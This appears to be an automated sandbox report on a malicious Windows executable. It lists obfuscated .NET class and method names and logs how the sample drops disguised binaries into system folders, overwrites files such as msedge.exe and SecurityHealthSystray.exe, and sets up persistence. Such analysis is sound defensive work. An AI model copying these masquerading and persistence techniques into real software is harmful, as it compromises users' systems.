Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, j4nIM6RJR6LoMxgZWBo.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'oE9RdRUyb0c', 'ScUR5Ro7u2g', 'OyFjpkRbTXgaWfZ0w1eF', 'D0XZJyRbR4YxSxNHXHX2', 'n7QXiqRbGgwto9QyyeCQ', 'fTSSxARba7cC5em4Sfwr'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, IHyZvkHrm012RH7kaZ7.cs	High entropy of concatenated method names: 'PFXH2X67Hm', 'TWxHA9ktUN', 'zR6HtCrTRS', 'pAmHCpr5Hi', 'JHqHS0wxO5', 'RALHmyorTE', 'PviHI2Ah0H', 'sCpHZjxPcg', 'ceWHo5uwgH', 'L2jHpQ8UOh'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jFLCT192cY8B7tjaoJ3.cs	High entropy of concatenated method names: 'XfA9lC6WBk', 'bPc94HQCD3', 'aq09sFNkX3', 'Eeo9cJjxNW', 'f5F9qYs4Fx', 'Dhh99kmhOq', 'oQY9nSH6QI', 'qRe9k4BGAA', 'jiC93nB5f2', 'G9a91uN00c'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, ksqROUdIIaONFtKYMdk.cs	High entropy of concatenated method names: 'FAtdx1qBwk', 'xso3PwR4s3y3fLtQ7Oq7', 'iY7jh5R4luQ9gx3dBuAM', 'E7rTnYR44f6oblggk2IZ', 'rx96WpR4ccn1YblZk48R', 'sLrdokSXcA', 'ntkPoxR4bE3We1m56bam', 'wPC9yWR4QcvwHV8Qll7v', 'XyRR5MR4XiRWgt98Hehp', 'lgo7TBR467kmXnkuTq8N'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, JxGSMKp9vRN6oXJrPDT.cs	High entropy of concatenated method names: 'F4ppVRyN1g', 'J5tpBUKZnR', 'A5wpNOE6IF', 'RJiVGIRkA0S9Xolfd9ym', 'nZWiqaRkrbDJ4P9FFAw6', 'AnbibiRkeq1Neg7RQ5hH', 'uuApksguQ1', 'd5vp3wVJrv', 'GLcp1Lqmlp', 'A5YtEjRkw0POvi4NnHJn'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, NqDxJdjTK55WjGYGJny.cs	High entropy of concatenated method names: 'sMlj57HcKD', 'thAjwpPQih', 'MfsOk7RvKw6LdB4Np0qZ', 'N4nCktRvED4Di4OByfO2', 'hTI6hVRv7vDspEQxQ9ed', 'bowuvpRvMsFW8s3Otim5', 'xDb0gdRv0DqrXkRhrKu6', 'xBwxqbRvjDvIGPJoeyl1', 'WhXjG05nU2', 'he8fGuRvBYV7rKb1jq3e'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs	High entropy of concatenated method names: 'jm4EeFRftWTxZxN3di7U', 'YGUNKBRfCHexAU1l7Jvp', 'XqtvK06aZi', 'ruxt6WRfZ7wMs4sTQtMT', 'cqL0hTRfojm7GvywLqZt', 'nvrM8aRfpG8mS9raSq7a', 'dFbgsWRfx72SqnE314mj', 'UWO5iiRfiInnD9dwIeZv', 'GDKHrORfYj7lptwj7Q8C', 'SRKQ9IRfWiSWLG7C96jq'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, FkqI8I2vfdqrwTMN9lf.cs	High entropy of concatenated method names: 'stO2JNPAUh', 'bQs2zlCd2N', 'dX3gTjYIas', 'mN5gROKWAR', 'TCLgGyEuHv', 'KY0gav18OE', 'Rpx', 'method_4', 'f6W', 'uL1'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, wXh6Jnu4vJy8aP5cfFU.cs	High entropy of concatenated method names: 'P83', 'KZ3', 'TH7', 'imethod_0', 'vmethod_0', 'iGGRdroDTNc', 'ScUR5Ro7u2g', 'TCCw7vRgDb5r369LAe9X', 'PeCVeTRg8QNjasJJTB6p', 'cXI3PSRgVQc8W7rdWOn4'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, XwZDxK9h00o9lEdFfep.cs	High entropy of concatenated method names: 'y6x9PVXaVp', 'yXjCyGRKIvvjUxoSG0YS', 'Uu9Bi1RKZ8HsxvahgbYh', 'tBgF01RKSaBmTZPVtrNv', 'BqGqtsRKmJC8qw184lbi', 'WJFaAwRKo01NlkHxv6wg', 'IPy', 'method_0', 'method_1', 'method_2'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, wvF8r2XJXErCwbywZoM.cs	High entropy of concatenated method names: 'Ks72Trk4MZ', 'mRi2RapIe6', 'Yd7', 'cVD2GgCkwU', 'TkW2agGFNr', 'dsL25xFCwH', 'LTe2wAQ9sK', 'TVW3ffRFMa5dRBRqbl9r', 'UDtSWcRFOAEjCk38ZmKg', 'Pr6XolRF7hSRfnHNmwtb'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, gOvWKlwnNuG7nqEbbvP.cs	High entropy of concatenated method names: 'q64', 'P9X', 'K5fR5CGdANs', 'vmethod_0', 'B1dRdulFwSg', 'imethod_0', 'Ar3OXdR2EDHTbcIdwmXr', 'OkBtctR20c5QSJ8MGg4k', 'yCJFEgR2jRetbTjf3IaS', 'DOi7UsR2vonJQw5LywdK'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, WETjk3bJKQnl1DGeIyM.cs	High entropy of concatenated method names: 'qRwQTuMh2g', 'elNQRi6CbG', 'QFZQGRnvry', 'pU8QaCN0yy', 'p5pQ55LNqJ', 'XSIQwkfAnu', 'OsB1auRB09vCvE4Kphwe', 'NIkScERBKNO2TRER3dK8', 'j4BgZtRBEpi41OQdivvH', 'jFqxhNRBjSCqDJmAwLb6'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, OwqkP6dr1Bw2fKcVFPS.cs	High entropy of concatenated method names: 't8adAyVEL9', 'RXsdt8sNYI', 'LN3dCvNhFa', 'uG96c1R4p7IXURhWQSjG', 'tRHyLnR4x3tU6er1727T', 'AEeUjQR4ZU0Wfjkpw0O8', 'TVj2fpR4og0LbeGu8KtQ', 'WBBMvSR4ichnxBN8rMa4', 'zFwdd9R4Yo3FGQXHy8O3', 'TeELirR4WuYrP1goK3pW'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, wk7v0AYtMYsmGxc1QK9.cs	High entropy of concatenated method names: 'vUGHRMprV7', 'y6Z3nARDyuTdYbr7EO86', 'pjeI6MRDHtjPP7OnafUk', 'SCyv6FRDPSEacfoGBGV7', 'oZRYSKlrCK', 'MAnYmWce0T', 'n2sYIpXlkP', 'UqlYZUtWCp', 'lKwYo4VBcx', 'KuxYpGnZY9'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, dT785IcslwPY6kCXVCE.cs	High entropy of concatenated method names: 'Dispose', 'MoveNext', 'get_Current', 'Reset', 'get_Current', 'GetEnumerator', 'GetEnumerator', 'pGfxTbRMXVCawynOGQOF', 'WL0Na1RMbFBJBk757VOt', 'KIwFCBRMQWiq9mXaGnWf'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, zA1nB72diOQslPTN8YQ.cs	High entropy of concatenated method names: 'qHW2rBRovs', 'ygk2e7kDQS', 'method_0', 'method_1', 'I27', 'c6a', 'C5p', 'Ne82A53ra2', 'method_2', 'uc7'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, C5GrgwZRu6kXDMRrd8.cs	High entropy of concatenated method names: 'wZ64mE9as', 'Y3KJ8bR64YOXkCwQkMSi', 'OgY9ubR6gn6Gf09TFp4N', 'HKAdxbR6lHtmVJGV3xrV', 'Up5BokR6scn8sJdm7nLY', 'jbBpEoi3i', 'V3axj0tvc', 'EJ0iaSTSY', 'YRFYYWrFt', 'wAUWp38kl'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, XLu2eQX8ommwIjMVSDR.cs	High entropy of concatenated method names: 'mVAXBunQvB', 'fQ5XNOa839', 'pUqXFvNcV2', 'O7oXOfklO2', 'XbwX7SU6Hi', 'UGC1aXRFq8mf4Kqi2DhP', 'yhwE64RF9CKLtrg409l2', 'JfMc2VRFnM9wW6JdJ0Km', 'z7vlxmRFs4mer7w2JemE', 'PItSaIRFcwW6HSntOpe2'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, fvdSK4pKYAyxIlO2MAB.cs	High entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'SuaRdtZPpnG', 'XPLR5V7Pgce', 'jkIjy9Rkp1kNQEr63SPf', 'WxCAP0RkxoMCqOhIJnOm', 'kfEq0TRkixTxkri38D40', 'pZEo9hRkYJ11ALhZXXuh', 'Klx3WDRkWdb7slxPshYA'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, QYND7H98ZMrwgcvehcg.cs	High entropy of concatenated method names: 'pvLRdPYqERx', 'jOj9B1U9Ha', 'yCg9N9TM7K', 'slF9FZrM0S', 'ITism7RKbiHdNOdLqwEC', 'iCm2JhRKQ6JMpXPmit9B', 'GVWWgtRKX21FxnKfEUTb', 'fQddFcRK2gAUS84Nl15U', 'FeKMHFRKg0kwixSJC36G', 'TO3SFfRKl0J6Sm3MuuyL'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, xod1q05yeYqhNIOuxxn.cs	High entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'agkRdaKO1KC', 'ScUR5Ro7u2g', 's5FyYSRXbFBgGc1ws4Nd', 'kB5nHYRXQeOPRkJTa8KM', 'q9xWDERXXE3TbWGerAMO'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, qbLnev4OWYkmGb1jedC.cs	High entropy of concatenated method names: 'IgYPpXRMwFxpC0AW0twr', 'C1FylVRMaHco6Rx4DxZR', 'Mkbsl8RM5PBuFpOZ4kNP', 'c7tARBRMuflIP5Q9Y4Yl', 'Hyl4MG31nj', 'Mh9', 'method_0', 'Xx24KZM28j', 'PoQ4EEx6cN', 'GU340R5dmU'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, TYwZ1k02sbPwZFs6oNF.cs	High entropy of concatenated method names: 'qMl0l2Z2sj', 'mmP04KEygY', 'K0d0s6pGpf', 'spH0c3FVj8', 'Dispose', 'MNEV6lRvysdyVcvG0KBv', 'Ph8hfwRvHWhOjRdVdfOx', 'hPyPtORvPWTZXfGaOoJP', 'm5WSY2Rv6h3QDqlZeuTp', 'ai6BxERvLiViZtg3lEE4'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, Qea8xPa6GCJa0qLBbj3.cs	High entropy of concatenated method names: 'k2ga1MmOJj', 'MwxaDe9KJx', 'oISa8oWFUp', 'T8QOX2RQDD0FrNxw5pU8', 'eKxGfnRQ8oZA3qX3GQyF', 'CrfkLBRQ3CD2cUEcK5wM', 'zhiAfNRQ1jpdv0IiyDxU', 'AW1abvMOVp', 'cK7aQAXnDR', 'FCTaXKNfdx'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, iTu4sCyKD4CMYhFbNgj.cs	High entropy of concatenated method names: 'NQAy0kjijh', 'SYWyjTZwIq', 'KjlyvLa8ul', 'NBwakTRVUlfcBnhhRcNu', 'qLr8j9RVweoJpWOGcXff', 'XZSbieRVu6OMdCXJnOEw', 'KKIExRRVdWcJpV40isKK', 'PCngSMRVhcQVSGk2bhIV', 'Hfre2IRVrCsJXuZATDdQ'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, XVrajvxFnpoPojSgadA.cs	High entropy of concatenated method names: 'bBcRdImdiNl', 'kPJx7396Bs', 'eIURdZrw0KL', 'uvTEMHR3W1i4yVJlkTy2', 'XILHxhR3H0Z9dV5E06wS', 'S4YPvNR3isF7l6Ht4oYT', 'DhgKQWR3YKOTFhi24NZr', 'DbeRYLR3Pbf5OmQ3tPGM', 'v8Y45cR3ytw3P2vnLaMc', 'aYlkmKR36jDWxU6tbg9a'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, tpCbM3U3SbZ99kNnjNT.cs	High entropy of concatenated method names: 'Rx1U0EKe3G', 'OquUjaf99J', 'weUjysR4d9d9deB3ngFi', 'cCrNdsR4uCeUmwQP5VK2', 'oNUjdpR4UG5DD4iYm1Fs', 'eE3IIZR4hVDOqi3OYXTW', 'LSQUDGeUDV', 'v5KU8hE5ZC', 'pCOUVOKMAj', 'QBsUBTbGKD'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, XFS78Wksd2we2SEyFlb.cs	High entropy of concatenated method names: 'JnjRTdREEOAQ3YgqZl4K', 'O5XnPrRE0HTXxBNjQHYq', 'OQdEKGREMA31fEYxMAvy', 'gCsLC6REKWoSJwct1Ew4', 'B4W6LdRENIF6yitfkuQy', 'GcfbyFREFPvK4ODpqOpd', 'yLpu1yREODKRfjofVIva', 'SHKsuNREVUBjjnedt44w', 'LclpKFREBnfUh4HeU7WK'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, JsiO0FGOadbXRuWYWRX.cs	High entropy of concatenated method names: 'LtoaUrSu1h', 'YO1QDvRbzJRG79R1Oiai', 'fTV1TXRQTRiH5DaJdYTP', 'HeOeDHRQR6j9UFpgZqdf', 'cjF1ZFRbfkxhpps8XAM3', 'Ve7MdIRbJwxjCqJlGbXx', 'RsQxEbRQGIw7gYDOpnFG', 'sm0lEbRQakYxebIkwvfn', 'TqXaTuOI5C', 'elDaGZGHm4'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, FJZpSowDEyDIxmJhcnJ.cs	High entropy of concatenated method names: 'UENwFOv4hY', 'AAfZgrRghmwj85OYkYEJ', 'psmXQ3RgUFsNIWgmp1vI', 'nWnJGhRgdc8sYw8TeeLv', 'U1J', 'P9X', 'poeR5me6LiL', 'uCWR5I5WRyn', 'IruRdUUQFC3', 'imethod_0'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, e2sHDxH7jo45ET2KG3i.cs	High entropy of concatenated method names: 'CEOHK9oXTJ', 'IrsHEaUHOg', 'EUXH0vLfSn', 'HGjHjHNFHa', 'biMHvqYNx8', 'BMsSJaRDMm7HHc24pELb', 'hGAwyvRDO8kmdwrllb2i', 'dBeLZqRD7xnBqpjIW6Jp', 'DEp0iQRDK2IrPB9iuZgH', 'DQ56S2RDENJnPjLYel29'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, BCa4U9UhMqZu5mUYswU.cs	High entropy of concatenated method names: 'n3wUeTAFNf', 'sE0UAmliM8', 'SXLasNRlSbCfXFT0EVqN', 'drrpIZRlm5U0uQuEucCw', 'z1GDEHRlIxNd5NjfSpZ2', 'M3rFo8RlZm97eQCiT6d7', 'ynKeimRloFAbeL1FnWwu', 'xooYCBRlpYlwrSxpqqkr'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, nrWF5wSWDfUkTG6Oo3Q.cs	High entropy of concatenated method names: 'A2Ept2Ts1w', 'TpopCxln5B', 'Rb5aOoRn3hA0nJMRjEej', 'vgfMNvRnnJZ8Z9mHfBnQ', 'cgOKTHRnkOtmQRVnXcJQ', 'e5EAAHRn140yB1nLBeQL', 'fp4PiERnDlVfB8BCfXcc', 'XMxppqkhgj', 'fgtNUXRnVvpF6p34ZYfp', 'lQUue2RnBfGxPYwAKFZn'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, FVDSuEx92Ikj2nT268M.cs	High entropy of concatenated method names: 'N2N', 'zwERdSOsKwu', 'chYxklNpKh', 'cZoRdm9Igfy', 'awZehUR3A2CqxWbeQpnC', 't96g8VR3t49RIhvc6Eit', 'VAU7SyR3rnvtapq7yDaZ', 'naNhrSR3eh95ymuZnfeH', 'b5YGtgR3CFhdi72yFbFP', 'gGvuC0R3SZq4Qp3YAo5F'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, a7HgnLKqLqbec16Jkgd.cs	High entropy of concatenated method names: 'dhYRd6KEG0s', 'oL7RuyswXjq', 'K1r1nyRjSUIB8A6xfGEu', 'YjUlb8RjtuAIXR8rvZN0', 'Vk3XBPRjCM7KYLNrq1a0', 'Osb1GiRjmjwVXQQwZqtc', 'gxGGFfRjpi0nUFy8Ynf5', 'rhXfWxRjZ4J4kniJk6Hw', 'tD1wx5RjowGNQZ31faqn', 'hJOWSBRjxGdYdlvadXT6'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jYpIpJlsS5onpTLE6Mk.cs	High entropy of concatenated method names: 'Close', 'qL6', 'vTelq1dw8C', 'T9vl9MloEB', 'P9nlnwakPS', 'Write', 'get_CanRead', 'get_CanSeek', 'get_CanWrite', 'get_Length'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, eJRl910thNPACLO9iS7.cs	High entropy of concatenated method names: 'ciF0mSl4kJ', 'wB20p4xtT4', 'Lyy0YTSWPp', 'Wvq0WbMtYO', 'W3j0HGGlPj', 'Ken0PRAys5', 'BlM0yu4pPp', 'rR50604AYb', 'Dispose', 'uTbGBWRvoCk3xHHXl05m'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, ITkjdJdVT36Jo6sPrsZ.cs	High entropy of concatenated method names: 'gTnd0LGs1w', 'V6jBxBRstF6CANVREkdb', 'eIseRERsCkA5yC5J1fjA', 'cNnJJyRsSyCIam53kkWx', 'lj5xKuRsmr0PuNN9CLdk', 'P9X', 'vmethod_0', 'WiQR5LHMOnE', 'imethod_0', 'tCu8D7Rshxt9GuvkSHek'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, zM3pgAG2gSbH4mZRVuU.cs	High entropy of concatenated method names: 'K9VG399Ijy', 'BnQG1dCWm2', 'mx1YZVRbc3SF0EwCD7ic', 'IZn8K2Rb4n92qZ8YX9pl', 'DmPEgjRbs1Tw24HhQ1MP', 'gdlcf4RbqEa08dtvgPsO', 'wM1GBruj1q', 'YJWG6gRb3GfykldVIB7V', 'VSASdlRb1sMGp20vyeoZ', 'Me6hCNRbnA3uAf82RkLL'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, c4J79dbMitYbKjJM7Xi.cs	High entropy of concatenated method names: 'RUCbEf54kh', 'HtZb0rArPB', 'jDrbj5GoTn', 'pEnbvRpyTo', 'uLnbfIHTlj', 'Q17neYRBVQdu8ikst6Lt', 'mDcxV0RBBK0xpaNttOtV', 'n0hW3NRBNUncMXy74e7B', 'c3xMTqRBFXNIWOvXAEhe', 'MR1hnDRBOVhayJiS4Vs8'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, l1PTLHL3Vd1XBoZU6Ij.cs	High entropy of concatenated method names: 'Gj4LfxvBBc', 'KCZLzF0cAc', 'uH3LDITdj2', 'CI7L8DqyDc', 's8lLVTC7XL', 'hRTLBo1uwY', 'iNrLNQRgWP', 'a7KLFkICmx', 'Hr9LOgdLhw', 'v5ML7folTm'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, WrQyYXznEVAv11M91k.cs	High entropy of concatenated method names: 'DDYRRnEPfp', 'VLXRaL51AD', 'PDER5ZhqUN', 'Sl7RwpdGb1', 'UhlRuCgs0W', 'tHgRUEOfYW', 'VP8Rhcj79V', 'GTGni4RLhG0afrAgpAYy', 'YOZWAFRLraGKPegxUg7j', 'FMjF2cRLeVWoxUUbYuO6'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, Mp6uT8aOJaqvbH7EpGs.cs	High entropy of concatenated method names: 'dFh5a1XFaW', 'Vbg55wM2tJ', 'Sca5wYh4xK', 'nB6HJDRXuPy59Jiw5wuT', 'RQmf4aRXULtJ5H9Nuac7', 'WM3KGlRX5FmyBnppjKb8', 'lFhZTwRXwT9JehGob76S', 'Uro5eRbpuM', 'Dd7qj4RXhcJnAGrekul7', 'UG20BvRXrutR1YL2yWpA'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, YLkGw6yHpmr1g8m9JcP.cs	High entropy of concatenated method names: 'E0oyyh8XY4', 'UdXy66CTSr', 'rgpyLVNqCC', 'ykUyby0AEM', 'xg6yQaHQyb', 'N5h8JOR8EwV14lnMH9cD', 'f2SKIOR8MjWTblI1NAtT', 'oe6fyjR8KR4ANdHOw7Nd', 'tsDKYOR80vZC1Phx8jY5', 'AmdEHSR8juglgrBjIBFW'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, XEdPQAnjZwNhL1JZWhP.cs	High entropy of concatenated method names: 'wLvnfyT5Au', 'vp7nJdeO4e', 'lrAnzOE0eI', 'P3GkTlLDNo', 'trpkRZ3J87', 'cyQkGFfbM3', 'kEJkaopQOp', 'NyCk5gNX61', 'PZwkwsmFGL', 'JwOkunkcyf'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, BsaKlUPDp4MXUqAchMX.cs	High entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'ur5PVyrbbP', 'gIwPB3n8eP', 'Dispose', 'D31', 'wNK'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, gYx1eCpbX7CjbdVGt41.cs	High entropy of concatenated method names: 'hvspcUpaCq', 'vld4fDRkGi4JiXYkSjR1', 'ggejaARkT2f44xLYVDwF', 'Njse68RkROdJcotYjfQJ', 'h0ymKxRkaCuA9i6aBDIC', 'vBQpXlR3Mx', 'o5mp25y8JE', 'V4SpgIjBGV', 'xyOhNmRnfvsgOlBMANqH', 'ua7EqBRnjJlEIC58CUqG'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, vapj2vLauP0UiTiOtsY.cs	High entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'YlfLwhb9lM', 'Write', 'BQBLuPhQQa', 'Vn7LUj9MwZ', 'Flush', 'vl7'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, vuoEqF62QE2bR2PbAjh.cs	High entropy of concatenated method names: 'method_0', 'eqd6lUws2H', 'A7N64q24II', 'sSL6sxwu7d', 'Wqk6c6sgM2', 'fOI6qmR8Zv', 'OV269MbXfp', 'rP9X7URVHRuvGIc960GN', 'UDxAGLRVYcWkSFbrViIK', 'oOaHmDRVWCDnEniBjsGp'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, nH7QvCwhBS4kFettptc.cs	High entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'xX6Rdw8pNpt', 'ScUR5Ro7u2g', 'Mamql4R2i8uEjjrb1log', 'fX1DgxR2YlUfDDRikwqV', 'I4vClaR2WMPB1aT3qRwf', 'FonnB8R2HmPmaxAnogdJ'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, CM19gvfo8mmpSKk935A.cs	High entropy of concatenated method names: 'pNJfQKa6nf', 'Bi8fXIs3ZZ', 'U9Bf2sqh2o', 'xQOfgDOAia', 'cmFflQjBZ0', 'NKQf4MR3MU', 'GgMfs0hs9J', 'ketfcOJPw4', 'uv0fq7ppat', 'COUf9sWjFv'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, tsC17V5nFuamyflcnrD.cs	High entropy of concatenated method names: 'wJC5fFxVXU', 'LX1DP6R2UpEmEmIQfkPh', 'wMGQEgR2dg7iUaDvsryq', 'AkoWVuR2wWytjNi4R0v6', 'gGgRhlR2uwJQ9gUiEZer', 'ATXk9FR2AZVWu4ArlafU', 'ylWaZ0R2r0RlGbmylUHe', 'Jmj1ZGR2eHHBhfGJ06c7', 'fgMyG8R2tawKw02QXxoT', 'vDfwucmAKc'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, A6GkR7Ege0JSZ23sX4J.cs	High entropy of concatenated method names: 'BeVE4hyA3N', 'bhOEsqFUjR', 'OtBEc1EHX5', 'o50Eqg285P', 'rqBE9FK98W', 'bieEnhdGDL', 'be9EkFFWJi', 'IW3E3tumfw', 'ULDE1vljPf', 'JHVEDllMZZ'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, khsIPrhH15PMgALQQgY.cs	High entropy of concatenated method names: 'jMEaKIRqlJNsxX5euddg', 'qC8aYjRq27xo4cyefTgN', 'x2JXeJRqgeeGhXEHUuuC', 'Knr13tRq4mD3679aSqxJ', 'aeSCJli7hD', 'wydNjbRqckHNIvlhUp5s', 'rQdKeORqqpZ4ikwJfGa6', 'qkvNE8Rq91pBRZjO1TWW', 'dSp24gRqn1i106mr4B3O', 'KnqSRVgf09'

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown	Executable created and started: C:\Windows\apppatch\CustomSDB\sihost.exe
Source: C:\Program Files\Everything\Everything.exe	Executable created and started: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Source: unknown	Executable created and started: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\pGGHecbL.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\GEAmOcnc.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\TDoLDJFD.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	File created: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\apppatch\CustomSDB\sihost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\utYFHYqz.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\ANcNpKUT.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\phhpjhAr.log	Jump to dropped file
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	File created: C:\Users\user\AppData\Local\Temp\sqls211.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\LangDLL.dll	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\fXnruzVd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\otdhyUEt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	File created: C:\Program Files\Everything\Everything.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Program Files\Everything\Everything.exe.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Recovery\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\dFyrOIJL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Uninstall.exe	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\WteBKGGw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	File created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Jump to dropped file
